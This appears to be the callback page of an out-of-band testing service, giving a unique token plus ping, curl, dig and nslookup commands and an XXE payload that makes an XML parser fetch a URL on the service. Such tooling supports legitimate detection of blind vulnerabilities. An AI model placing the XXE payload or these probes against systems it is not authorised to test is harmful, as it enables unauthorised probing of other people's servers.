$ ping -c1 -p 001e25af9c0074b758126dc02bb47800 unhack.ca
 
$ curl http://unhack.ca/p/1e25af9c0074b758126dc02bb478
 
$ dig 1e25af9c0074b758126dc02bb478 @unhack.ca
 
$ dig 1e25af9c0074b758126dc02bb478.ns.unhack.ca
 
C:\> nslookup 1e25af9c0074b758126dc02bb478 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1e25af9c0074b758126dc02bb478">]>
    <foo>&xxe;</foo>
Waiting for ping...